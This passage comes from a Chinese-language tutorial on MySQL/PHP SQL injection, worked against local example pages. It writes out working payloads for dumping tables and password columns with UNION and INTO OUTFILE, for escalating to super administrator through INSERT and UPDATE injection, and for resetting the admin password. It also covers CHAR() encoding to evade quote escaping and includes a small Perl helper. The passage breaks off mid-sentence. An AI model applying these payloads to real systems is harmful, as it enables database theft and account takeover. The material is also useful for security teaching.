我们继续用上面的user.php和show.php两个文件举例,如果一个一个用户猜解实在是太慢了
,如果对方的密码或者其他敏感信息很复杂,又不会写Exploit,要猜到什么时候啊?来点大范围
的,直接导出全部数据好了。user.php文件的查询语句,我们按照into outfile的标准格式,注
入成下面的语句就能导出我们需要的信息了:
SELECT * FROM user WHERE username='$username' into outfile 'c:/file.txt'
知道怎么样的语句可以实现我们的目的,我们就很容易构造出相应的语句:
http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt
出现了错误提示,但从返回的语句看来,我们的SQL语句确实是注入正确了,即使出现错误,
也是查询的问题了,文件还是乖乖的被导出了,
由于代码本身就有WHERE来指定一个条件,所以我们导出的数据仅仅是满足这个条件的数据,
如果我们想导出全部呢?其实很简单,只要使这个WHERE条件为假,并且指定一个成真的条件,就
可以不用被束缚在WHERE里了,来看看经典1=1发挥作用了:
http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt
实际的SQL语句变为:
SELECT * FROM user WHERE username='' or 1=1 into outfile 'c:/file.txt'
这样username的参数是空的,就是假了,1=1永远是真的,那or前面的WHERE就不起作用了,
但千万别用and哦,否则是不能导出全部数据的。
既然条件满足,在这种情况下就直接导出所有数据!
但是跨表的导出文件的语句该怎么构造呢?还是用到UNION联合查询,所以一切前提条件都应
该和UNION、导出数据一样,跨表导出数据正常情况下应该相下面的一样:
SELECT * FROM article WHERE articleid='1' union select 1,username,password from user
into outfile 'c:/user.txt'
这样可以导出文件了,如果我们要构造就提交:
http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user
into outfile 'c:/user.txt
文件是出来了,可是有一个问题,由于前面的查询articleid='1'为真了,所以导出的数据也
有整个文章的一部分,
所以我们把应该使前面的查询语句为假,才能只导出后面查询的内容,只要提交:
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user
into outfile 'c:/user.txt
这样才能得到我们想要的资料
值得注意的是想要导出文件,必须magic_quotes_gpc没有打开,并且程序也没有用到addslashes
()函数,还有不能对单引号做任何过滤,因为我们在提交导出路径的时候,一定要用引号包含起
来,否则,系统不会认识那是一个路径,也不用尝试用char()或者什么函数,那是徒劳。
INSERT
如果大家认为MYSQL中注入仅仅适用于SELECT就大错特错了,其实还有两个危害更大的操作,
那就是INSERT和UPDATE语句,这类例子不多,先面先说说INSERT,这主要应用于改写插入的数据
,我们来看个简单而又广泛存在的例子,看看下面的数据结构:
CREATE TABLE `user` (
`userid` INT NOT NULL AUTO_INCREMENT ,
`username` VARCHAR( 20 ) NOT NULL ,
`password` VARCHAR( 50 ) NOT NULL ,
`homepage` VARCHAR( 255 ) NOT NULL ,
`userlevel` INT DEFAULT '1' NOT NULL ,
PRIMARY KEY ( `userid` )
);
其中的userlevel代表用户的等级,1是普通用户,2是普通管理员,3是超级管理员,一个注
册程序默认是注册成普通用户,如下:
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('',
'$username', '$password', '$homepage', '1');
默认userlevel字段是插入1,其中的变量都是没有经过过滤就直接写入数据库的,不知道大
家有什么想法?对,就是直接注入,使我们一注册就是超级管理员。我们注册的时候,构造
$homepage变量,就可以达到改写的目的,指定$homepage变量为:
http://4ngel.net', '3’)#
插入数据库的时候就变成:
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('',
'angel', 'mypass', 'http://4ngel.net', '3’)#', '1');
这样就注册成为超级管理员了。但这种利用方法也有一定的局限性,比如,我没有需要改写
的变量如userlevel字段是数据库的第一个字段,前面没有地方给我们注入,我们也没有办法了。
或许INSERT还有更广泛的应用,大家可以自行研究,但原理都是一样的。
UPDATE
和INSERT相比,UPDATE的应用更加广泛,如果过滤不够,足以改写任何数据,还是拿刚才的
注册程序来说,数据结构也不变,我们看一下用户自己修改自己的资料,SQL语句一般都是这样写
的:
UPDATE user SET password='$password', homepage='$homepage' WHERE id='$id'
用户可以修改自己的密码和主页,大家有什么想法?总不至于还是提升权限吧?程序中的SQL
语句又没有更新userlevel字段,怎么提升啊?还是老办法,构造$homepage变量, 指定$homepage
变量为:
http://4ngel.net', userlevel='3
整个SQL语句就变成这样:
UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE
id='$id'
我们是不是又变成超级管理员了?程序不更新userlevel字段,我们自己来。
还有更加绝的,直接修改任意用户的资料,还是刚才的例句,但这次安全一点,使用MD5加密:
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'
尽管密码被加密了,但我们还是可以构造我们需要的语句,我们指定$password为:
mypass)' WHERE username='admin'#
这时整个语句变为:
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)',
homepage='$homepage' WHERE id='$id'
这样就更改了更新的条件,我管你后面的代码是不是在哭这说:我们还没有执行啊。当然,
也可以从$id下手,指定$id为:
' OR username='admin'
这时整个语句变为:
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR
username='admin'
照样也可以达到修改的目的,所以说注入是非常灵活的技术。如果有些变量是从数据库读取
的固定值,甚至用$_SESSION['username']来读取服务器上的SESSION信息时,我们就可以在原来
的WHERE之前自己构造WHERE并注释掉后面的代码,由此可见,灵活运用注释也是注入的技巧之一
。这些技巧把注入发挥得淋漓尽致。不得不说是一种艺术。
变量的提交方式可以是GET或POST,提交的位置可以是地址栏、表单、隐藏表单变量或修改本
地COOKIE信息等,提交的方式可以是本地提交,服务器上提交或者是工具提交,多种多样就看你
如何运用了。
高级应用
1、 使用MYSQL内置函数
我们在ACCESS、MSSQL中的注入,有很多比较高级的注入方法,比如深入到系统,猜中文等,
这些东西,在MYSQL也能很好得到发挥,其实在MYSQL有很多内置函数都可以用在SQL语句里,这样
就可以使我们能在注入时更灵活,得到更多关于系统的信息。有几个函数是比较常用的:
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
……
各个函数的具体作用大家可以查阅MYSQL手册,比如下面这句UPDATE:
UPDATE article SET title=$title WHERE articleid=1
我们可以指定$title为以上的各个函数,因为没有被引号包含,所以函数是能正确执行的:
UPDATE article SET title=DATABASE() WHERE id=1
#把当前数据库名更新到title字段
UPDATE article SET title=USER() WHERE id=1
#把当前 MySQL 用户名更新到title字段
UPDATE article SET title=SYSTEM_USER() WHERE id=1
#把当前 MySQL 用户名更新到title字段
UPDATE article SET title=SESSION_USER() WHERE id=1
#把当前 MySQL 用户名更新到title字段
UPDATE article SET title=CURRENT_USER() WHERE id=1
#把当前会话被验证匹配的用户名更新到title字段
灵活运用MYSQL内置的函数,可以获得不少有用的信息,比如数据库版本、名字、用户、当前
数据库等,比如前面跨表查询的例子,提交:
http://127.0.0.1/injection/show.php?id=1
可以看到一篇文章,我们怎么样才能知道MYSQL数据库的相关信息呢?同样也是用MYSQL内置
函数配合UNION联合查询,不过相比之下就简单得多了,甚至还可以读取文件!既然要用到UNION
,同样要满足UNION的条件——字段数、数据类型相同。如果我们知道了数据结构,直接构造:
http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()
就可以返回当前数据库名和数据库版本,构造是比较容易的。
下面附上一段由我好友Super·Hei写的代码,可以把字符串转换为ASCII代码。感谢提供。
#!/usr/bin/perl
#cody by Super·Hei
#to angel
#C:>test.pl c:boot.ini
#99,58,92,98,111,111,116,46,105,110,105
$ARGC = @ARGV;
if ($ARGC != 1) {
print "Usage: $0 n";
exit(1);
}
$path=shift;
@char = unpack('C*', $path);
$asc=join(",",@char);
print $asc;
2、不加单引号注入
注:现在我们假设magic_quotes_gpc为on了。
众所周知,整形的数据是不需要用引号引起来的,而字符串就要用引号,这样可以避免很多
问题。但是如果仅仅用整形数据,我们是没有办法注入的,所以我需要把我们构造的语句转换成
整形类型,这个就需要用到CHAR(),ASCII(),ORD(),CONV()这些函数了,举个简单的例子:
SELECT * FROM user WHERE username='angel'
如何使$username不带引号呢?很简单我们这样提交就可以了。
SELECT * FROM user WHERE username=char(97,110,103,101,108)
# char(97,110,103,101,108) 相当于angel,十进�